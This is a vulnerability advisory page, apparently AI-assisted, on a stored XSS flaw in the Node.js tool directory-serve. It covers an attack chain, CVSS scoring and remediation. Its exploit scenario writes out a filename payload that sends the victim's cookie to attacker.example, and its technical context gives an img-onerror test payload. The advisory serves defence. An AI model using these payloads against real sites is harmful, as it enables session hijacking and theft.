Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to directory-serve with upload access
-
DeliveryUpload file with crafted XSS filename
-
ExploitPayload stored in file listing
-
ExecutionVictim user views file listing
-
PersistInjected script executes in victim browser
-
ImpactExfiltrate session token or perform action as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must have authenticated access sufficient to upload files to the directory-serve instance (CVSS PR:L). A second condition is that at least one other user must subsequently view the file listing page (CVSS UI:R) - the XSS payload does not execute at upload time but only when another browser renders the listing. The vulnerability exists in the default code path of lib/helper/html.js and does not require any non-default configuration of directory-serve itself. Exploitation is limited by: (1) the requirement for upload-capable authenticated access, (2) the need for a victim user to view the listing, and (3) the niche deployment footprint of the tool. There is no indication this affects default configurations where uploads are disabled or restricted. |
| Impact | The CVSS 3.1 base score of 5.4 (Medium) is consistent with the attack characteristics: network-reachable (AV:N), low complexity (AC:L), requires low-level authenticated access to upload files (PR:L), requires another user to view the listing (UI:R), and has a changed scope with limited confidentiality and integrity impact (S:C/C:L/I:L/A:N). The scope change (S:C) reflects that the injected script executes in a victim's browser context rather than the attacker's own session. EPSS data is not provided, and no CISA KEV listing exists, meaning exploitation in the wild is not confirmed. The stored nature of the XSS meaningfully elevates practical risk above a reflected XSS at the same CVSS score - a single upload permanently affects all subsequent viewers without further attacker interaction. In shared or team-use deployments, even a small internal IT team using this tool could be compromised via session hijacking or credential theft from the injected script. The low PR:L barrier (only upload access needed) combined with persistent payload delivery makes this a credible internal privilege escalation or lateral movement vector, though the tool's niche footprint limits broad impact. |
| Exploit ScenarioDerived | An attacker with file upload access to a directory-serve instance uploads a file named something like '><script>fetch('https://attacker.example/c?c='+document.cookie)</script>.txt'. The server stores the filename as-is. When an administrator or other user navigates to the file listing page, the unsanitized filename is rendered into the HTML, the injected script executes in their browser, and the attacker silently exfiltrates the victim's session cookie. No public exploit code has been identified, but the technique is trivially constructable from the description alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Stored cross-site scripting in cube-root/directory-serve through version 1.3.7 enables any authenticated user who can upload files to inject persistent JavaScript into the file listing viewed by other users. The root cause is unsanitized filename rendering in lib/helper/html.js at line 28, where filenames containing HTML attribute-breaking characters are embedded directly into HTML templates. No public exploit code or CISA KEV listing is associated with this CVE at time of analysis, but the stored nature of the XSS and the low-privilege upload requirement make it a realistic lateral attack vector in shared-use deployments.
RemediationAI
No vendor-released patched version has been identified at time of analysis - the references point only to the upstream GitHub repository without a tagged fix release. The definitive fix is to apply proper HTML entity encoding to filenames before embedding them in HTML templates in lib/helper/html.js line 28, using a library such as he or the native HTML escaping utilities available in the Node.js ecosystem. As a compensating control, operators can restrict file upload access to fully trusted users only, significantly limiting the attacker population. Alternatively, deploying the tool behind an authentication layer that prohibits untrusted parties from uploading files removes the primary exploitation prerequisite. Serving the file listing with a Content-Security-Policy header that blocks inline scripts (script-src 'self') would mitigate the impact of any injected payload, though it does not eliminate the underlying injection flaw. Monitor the upstream repository at https://github.com/cube-root/directory-serve for a patched release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
directory-serve (cpe:2.3:a:cube-root:directory-serve:*:*:*:*:*:*:*:*) is a Node.js file-serving utility by cube-root. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). The affected code path is lib/helper/html.js line 28, which constructs HTML for a file listing by embedding the raw filename string into an HTML template without escaping or sanitizing HTML metacharacters. An attacker who can upload a file - such as one named '><img src=x onerror=alert(1)>.txt' - can break out of HTML attribute context and inject arbitrary script content. Because the payload is stored server-side and rendered to every user who views the listing, this is a persistent (stored) XSS rather than a reflected variant.
Know when Directory Serve gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Upload access (PR:L) and victim page-view (UI:R) required; stored XSS crosses browser context (S:C) with limited session/data impact but no availability impact.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
Lifecycle Timeline
1DescriptionCVE.org
A stored cross-site scripting (XSS) vulnerability in cube-root/directory-serve through 1.3.7 allows an attacker to inject arbitrary JavaScript into the web interface by uploading a file with a crafted filename containing HTML attribute-breaking characters. The lib/helper/html.js file does not sanitize filenames before embedding them in HTML templates at line 28, enabling script execution in other users' browsers when they view the file listing.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-55236
GHSA-g77q-hxjf-7mcc
NVD
CVE.org
EPSS
VulDB
Exploit-DB